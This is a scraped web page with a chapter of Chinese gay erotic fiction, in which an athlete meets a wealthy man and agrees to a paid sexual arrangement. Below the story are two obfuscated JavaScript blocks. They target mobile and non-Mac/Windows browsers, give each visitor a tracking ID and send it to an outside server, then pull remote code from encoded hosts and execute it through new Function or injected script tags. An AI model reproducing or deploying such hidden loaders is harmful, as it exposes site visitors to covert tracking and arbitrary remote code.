站在金碧辉煌的大堂里,雷刚有点不知所措的感觉。

“先生,有什么可以帮您的?”一位身穿制服的漂亮小姐笑盈盈地走了过来。

“哦,我,我和人约了在这里吃饭。”

“请问是哪个餐厅呢?我们这里有五间餐厅。”

“好像叫XY阁。”

“好的,我帮您查一下预定的座位,先生贵姓?”

“我姓雷。”

“请稍等。”

雷刚看着她的背影,轻舒了一口气。虽然参加过不少比赛,到过几个大城市, 但雷刚还是像没见过世面的孩子,在这样的场合下都会局促不安。

“雷先生,是王总订的位子吧?”

“嗯,是吧……”

“让您久等了,王总早就交待过了。请这边走。”她的语气似乎比刚才还要 恭敬,更加温暖的笑容堆在了脸上。

要是没她带路,雷刚还真找不到去餐厅的路。穿过大堂,走进电梯,直上3 层,转过一个拐角,一处装修风格极具中国特色的餐厅出现在面前。地方虽显得 不大,但每一件红木家俱和镏金饰物都透出非同凡响的大气。

“请雷先生在这里稍等,王总很快就到了。”制服小姐将雷刚引到一间十分 宽敞豪华的包间里坐下,沏好茶,对站在门边的服务员小声交待了几句,笑盈盈 地关门出去了。

雷刚舒展了一下有点僵直的身子,喝了一口茶。很烫,也不是他习惯的东西, 但雷刚没其他事好做了。

“王总,您来了……嗯,您朋友在里面……”不到五分钟,门外就传来服务 员的声音。

来人推门进来了,一米八的个头,一丝不苟的短发,一身灰色衬衣西裤,后 面还跟着一个个头稍矮的年轻人,显得很壮实。

“不好意思,久等了。我是王凯。”王凯微笑着伸出手。雷刚愣了一下,赶 快站起身,握住了他的手。

王凯对身后的年轻人吩咐了几句,年轻人点点头,微笑着看了雷刚一眼,转 身走了。

“我们先点菜吧,一边吃一边聊。”王凯把一本厚厚的菜单推到雷刚面前。 雷刚有点傻眼,不光是因为菜单上的价格,就连上面的很多菜名,他都没有见过。

王凯很快发觉雷刚的不自在,自己反倒有点不好意思地说:“看我,今天做 东请客,连点菜的事都要兄弟代劳,太失礼了。”说着,他叫过服务员,熟练地 点好了菜。服务员微笑着出去了。

房间里没有了旁人,雷刚感觉舒服了一些。王凯也开始慢慢和他聊了起来。 王凯的情况的确如赵鹏介绍的那样,而且比雷刚想像中要年轻一点,颇有男子气 的脸庞也算得上英俊了。王凯言谈举止很有修养,干净俐落,没有半点矫揉造作 的感觉。雷刚心里放松了许多。两人一边喝茶,一边闲聊,似乎都忘了见面的目 的。

很快,菜已经上齐。

“你去外面忙吧,不用进来,我和朋友谈点事。”王凯吩咐服务员。

“好的,王总。”

门关上了,房间里又只剩下他们两个人。

“他们都叫您王总,您是这里的老板吗?”雷刚一时找不到合适的话头。

“不,只是常来吃饭,认识而已。”王凯微微笑着,“这里的师傅手艺不错, 酒店里有这样的小灶很难得。来,尝尝这个。”

就这样一边吃一边聊,雷刚渐渐对这位大哥有了一点好感,一种舒服放松的 感觉让他感到惬意。他坦诚地告诉了王凯自己的过去和目前的窘境,当然不包括 隐私的部分。

“这些都不是问题,不用担心。我下午就找几个朋友问问,等我消息。”王 凯一脸轻松地微笑着。

“那,那太不好意思了。很感谢……”雷刚对他的爽快完全没有心理准备, 有点不知所措。

“没事,不要客气。”

雷刚见王凯完全不提“交易”一类的话,自己的心里反倒忐忑不安起来。他 毕竟是憋不住话的人,于是硬着头皮说:“之前,小赵说您要找我见面,是为什 么事呢?”话刚出口,雷刚就觉得自己的话傻到极点。

“噢……”王凯微微愣了一下。“就是想见见你,看能不能交个朋友。”

“那,那您想交什么样的朋友?”雷刚死盯着桌布。

“诚实、可靠、讲信用、爷们儿……最重要的是,身材要绝对好。”

“那您,您觉得我合适吗?”雷刚声音有点低下来。

“我很喜欢。”王凯停顿了一下,“但是交朋友要两个人都愿意才行,雷兄 弟要是不愿意,我也不好勉强啊……”

“您需要……我做什么?”雷刚的声音更低了。

“呵呵,哥们儿别这么紧张。”王凯轻松地笑了,“我这个人很直率,你不 要介意就好。”

“您说。”

“我就想找一个身材很好的兄弟,可以陪我吃饭聊天,可以让我抱着睡觉, 也可以做爱。”

“您是……0号?”

“我是纯1。”

“啊,我也是的……”雷刚感到心里一沉。

“呵呵,没关系啊,我对这个不是很重视,只要能抱着摸摸就很满足了。” 王凯还是一样轻松地笑着。

“就这些吗?”

“是的,兄弟放心,我不是什么坏人。有什么都先谈好,不愿意的话我一点 不勉强。”

“嗯,我知道了。”

“那,那你的意思呢?”

“好,我愿意。”

……

王凯和雷刚以前认识的所有人都不一样,吃过饭,他竟然叫车送雷刚先回去 休息,他自己还要去办事情。王凯从见面到送他上车,都没有一点占便宜的举动, 甚至连一个好色的眼神都没有。雷刚对他的“正派”有点不适应,回到小旅馆, 一头倒在床上,唿唿地睡起了午觉。不愿多想了,不管怎么样,今天雷刚平生第 一次,吃到了鲍鱼,还有龙虾……

雷刚一觉睡到晚上9点多,赵鹏的电话再次把他叫醒了。

“兄弟,恭喜啊!王总已经托人去给XX俱乐部打招唿了,下星期一定有消 息。”

“哦?”雷刚睡得有点迷煳。

“这事你就放心了!对了,王总想约你这周五晚上再见个面,没问题吧?”

“周五?”

“是啊,就是明天晚上。”

“好吧。”

“兄弟,我明天下午带你去我俱乐部练一下,调整到最佳状态,一定能把他 套牢。”

“什么意思?”雷刚继续迷煳。

“真不懂啊?王总明天要看你的实力了哦!”

(未完待续)


上一篇:人妻老师和她的同事

下一篇:【绿帽夫妻的第一次献妻自白】(02)【


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};